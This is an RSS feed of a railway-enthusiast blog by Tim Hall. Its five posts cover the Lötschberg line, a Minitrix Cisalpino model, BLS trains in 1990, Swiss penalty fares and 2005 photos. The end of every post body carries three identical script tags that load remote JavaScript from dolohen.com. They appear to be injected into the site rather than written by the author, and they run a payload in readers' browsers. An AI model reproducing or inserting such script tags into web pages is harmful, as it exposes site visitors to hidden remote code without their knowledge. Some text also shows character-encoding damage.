<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Switzerland</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/switzerland/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Viaducts and the European Union</title>
		<link>http://www.kalyr.co.uk/weblog/rants/viaducts-and-the-european-union/</link>
		<comments>http://www.kalyr.co.uk/weblog/rants/viaducts-and-the-european-union/#comments</comments>
		<pubDate>Fri, 03 Jun 2016 18:23:14 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Religion and Politics]]></category>
		<category><![CDATA[EU Referendum]]></category>
		<category><![CDATA[Switzerland]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=15947</guid>
		<description><![CDATA[Something to think about on June 23rd. <a href="http://www.kalyr.co.uk/weblog/rants/viaducts-and-the-european-union/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="https://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2005-Part-Two/i-3NbKTnN/A"><img alt="" src="https://photos.smugmug.com/Trains/Switzerland/Switzerland-2005-Part-Two/i-3NbKTnN/0/M/DSCF0985-M.jpg" /></a></p>
<p>A photo from back in 2006 of the viaduct at Tellenberg, Switzerland, showing a northbound frirght train.</p>
<p>Note the two viaducts; the elegant masonry one dating from the original openng of the line in the early year of the 20th century, and the more utilitarian modern structure alongside it, built to accomodate increasing traffic in the 1970s.</p>
<p>Switzerland is not in the EU, but the formation of the EU had a big impact on this railway line. It&#8217;s the Bern LÃ¶tchbern Simplon railway, part of a chain of lines linking Italy to northern Europe via the Simplon tunnel.</p>
<p>Why did traffic increase in the years after World War Two such that this like across the Alps needed to be widened at great expense? One reason was surely the formation of the European Union, which resulted in greatly increased trade between northern and southern Europe.</p>
<p>Think about this on June 23rd. How much trade between Britain and the rest of Europe might be put at risk in the event of a Leave vote? And how many jobs will that put as risk?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/rants/viaducts-and-the-european-union/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Minitrix announce Cisalpino Re484 and coaches</title>
		<link>http://www.kalyr.co.uk/weblog/railways/modelling-news/minitrix-announce-cisalpino-re484-and-coaches/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/modelling-news/minitrix-announce-cisalpino-re484-and-coaches/#comments</comments>
		<pubDate>Tue, 03 Feb 2015 12:41:43 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Modelling News]]></category>
		<category><![CDATA[Minitrix]]></category>
		<category><![CDATA[Switzerland]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=12137</guid>
		<description><![CDATA[Interesting new Swiss outline item in the Minitrix catalogue for this year. <a href="http://www.kalyr.co.uk/weblog/railways/modelling-news/minitrix-announce-cisalpino-re484-and-coaches/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a title="Photo &amp; Video Sharing by SmugMug" href="http://kalyr.smugmug.com/Other/Hosted-Photos/n-PfqzP/i-HMnQM3q/A"><img title="Photo &amp; Video Sharing by SmugMug" alt="Photo &amp; Video Sharing by SmugMug" src="http://kalyr.smugmug.com/photos/i-HMnQM3q/2/M/i-HMnQM3q-M.jpg" /></a></p>
<p>It&#8217;s the time of year when continental manufacturers announce their new models, and there are some interesting things in the <a href="http://www.maerklin.de/media.php/de/pdfs/Trix_GB_komplett.pdf">Minitrix New Items brochure (pdf).</a></p>
<p>The Cisalpino Re484 with matching coaches has been on my wishlist for a while, since they were regular performers on the LÃ¶tchberg route in the mid-noughties. Cisalpino was a joint Swiss-Italian venture for through trains between Switzerland and Italy over the LÃ¶tchberg and Gotthard routes. The coaches on the LÃ¶tchberg were the standard Swiss EC stock, initially hauled by pairs of Re4/4s, later by dual-voltage Re484s that eliminated the need to change locomotives on the Swiss/Italian border.</p>
<p>They&#8217;re selling as a set with the locomotive and three coaches (two first class and one second), with additional second class coaches sold individually. This will enable modellers to assemble the correct prototypical six-coach formation of two first class and four second class coaches.</p>
<p>The EC coaches have been in the Minitrix range for several years, as has the 4-pantograph Bombardier TRAXX locomotive. Since a similar train has also appeared in the Arnold catalogue this year, using Eurofima coaches, I&#8217;m assuming the simultaneous appearance is to do with past licencing issues with the livery.</p>
<p><a title="Photo &amp; Video Sharing by SmugMug" href="http://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2007-Part-1/i-VxQ3DBt/A"><img title="Photo &amp; Video Sharing by SmugMug" alt="Photo &amp; Video Sharing by SmugMug" src="http://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2007-Part-1/i-VxQ3DBt/0/M/DSCF1788-M.jpg" /></a></p>
<p>Here&#8217;s the prototype at a rather wet Spiez in 2007. The six-car Cisalpino sets were frequently strengthened with older Swiss coaches during their run through Switzerland, in this case the three leading vehicles are rebuilt RIC stock, available in model form from Kato, which means the whole train can be modelled.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/railways/modelling-news/minitrix-announce-cisalpino-re484-and-coaches/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BLS in the 1990s</title>
		<link>http://www.kalyr.co.uk/weblog/railways/modelling-projects/bls-in-the-1990s/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/modelling-projects/bls-in-the-1990s/#comments</comments>
		<pubDate>Sun, 21 Apr 2013 12:56:30 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Modelling Projects]]></category>
		<category><![CDATA[Bern LÃ¶tchberg Simplon]]></category>
		<category><![CDATA[BLS]]></category>
		<category><![CDATA[Switzerland]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=6919</guid>
		<description><![CDATA[A trip down the rabbit hole of YouTube lead me to this gem. This was filmed around the time of my earlier visits to Switerland, before I started taking a serious interest in modelling the LÃ¶tchberg line and didnâ€™t take detailed notes of the train formations. Back in 1990 it was a real mix; just look the very first train, with itâ€™s mix of Swiss, Italian and Belgian coaching stock, and a rare BLS livery EWi restaurant car.  <a href="http://www.kalyr.co.uk/weblog/railways/modelling-projects/bls-in-the-1990s/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><iframe width="600" height="450" src="http://www.youtube.com/embed/4sl8deQ760g" frameborder="0" allowfullscreen></iframe></p>
<p>A trip down the rabbit hole of YouTube lead me to this gem. This was filmed around the time of my earlier visits to Switerland, before I started taking a serious interest in modelling the LÃ¶tchberg line and didn&#8217;t take detailed notes of the train formations. On later trips just after the turn of the century things were less varied, with EWiv push-pull sets on all but a handful of international through services. But back in 1990 it was a real mix; just look the very first train, with it&#8217;s mix of Swiss, Italian and Belgian coaching stock, and a rare BLS livery EWi restaurant car. </p>
<p>It&#8217;s notable just how few trains are uniform rakes; proof that you don&#8217;t need a full rake of <em>anything</em> to make up a realistic train. In particular the EWiv coaches were still being delivered, and the BLS didn&#8217;t have enough of them to make up complete rakes, hence the sets make up from a mix of EWiv and older EWi and EWii stock. </p>
<p>The other thing of note is the Re4/4Iv locomotives, which were operating over the LÃ¶tchberg at the time. Only four were ever built, and the class never went into series production. All four were eventually sold to the SÃ¼dostbahn.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/railways/modelling-projects/bls-in-the-1990s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Penalty Fares: A PR Disaster in Switzerland</title>
		<link>http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/#comments</comments>
		<pubDate>Tue, 05 Feb 2013 13:11:06 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Penalty Fares]]></category>
		<category><![CDATA[Switzerland]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=6135</guid>
		<description><![CDATA[If the BBC report is remotely accurate, it appears as though Swiss railwayâ€™s changes to ticketing policy has turned into a major PR disaster, especially for a nation thatâ€™s always prided itself on the quality of their train services. <a href="http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2005-Part-Two/18743800_RLb94p#!i=1450437159&#038;k=Lj2F7kt&#038;lb=1&#038;s=A" title="An Re460 with IC2000 double-deck stock crosses the Aare viaduct in Bern."><img src="http://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2005-Part-Two/i-Lj2F7kt/0/M/DSCF0924-M.jpg" title="An Re460 with IC2000 double-deck stock crosses the Aare viaduct in Bern." alt="An Re460 with IC2000 double-deck stock crosses the Aare viaduct in Bern."></a></p>
<p>It appears as though <a href="http://www.bbc.co.uk/news/magazine-21294241">Swiss railway&#8217;s changes to ticketing policy</a> has turned into a major PR disaster, especially for a nation that&#8217;s always prided itself on the quality of their train services.</p>
<p>If the BBC report is remotely accurate, it looks as though they&#8217;ve introduced a penalty fare system along the lined of that introduced by some train operating companied in Britain, and just as has happened in Britain, it&#8217;s had the effect of penalising honest travellers rather than habitual fare-dodgers. As in Britain many are wondering if that&#8217;s really an unintended consequence at all. Their system seems excessively harsh; at least British train companies allow their conductors to use their discretion, and make allowances for ticket machines not working. And their penalties are far higher than the British equivalents. Does a broken ticket machine <em>really</em> mean you can&#8217;t travel, or is that inaccurate reporting?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Switzerland in 2005</title>
		<link>http://www.kalyr.co.uk/weblog/photos/switzerland-in-2005/</link>
		<comments>http://www.kalyr.co.uk/weblog/photos/switzerland-in-2005/#comments</comments>
		<pubDate>Thu, 01 Sep 2011 09:40:04 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Photos]]></category>
		<category><![CDATA[Railway Photography]]></category>
		<category><![CDATA[Switzerland]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=3568</guid>
		<description><![CDATA[Still working on migrating photos from my defunct Fotopic website to my new photo gallery. These are from 2005 visit to Switzerland, not all of which I&#8217;d actually uploaded the first time round.]]></description>
				<content:encoded><![CDATA[<p><a title="Photo &amp; Video Sharing by SmugMug" href="http://kalyr.smugmug.com/Trains/Switzerland-2005-Part-Two/18743800_RLb94p#1450440653_RWsCrBx-A-LB"><img title="SBB Re460 crosses the Aare viaduct in Bern" src="http://kalyr.smugmug.com/Trains/Switzerland-2005-Part-Two/i-RWsCrBx/0/L/DSCF0927-L.jpg" alt="SBB Re460 crosses the Aare viaduct in Bern" /></a></p>
<p>Still working on migrating photos from my defunct Fotopic website to my new photo gallery. These are from <a href="http://kalyr.smugmug.com/Trains/Switzerland-2005-Part-Two/18743800_RLb94p">2005 visit to Switzerland</a>, not all of which I&#8217;d actually uploaded the first time round.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/photos/switzerland-in-2005/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
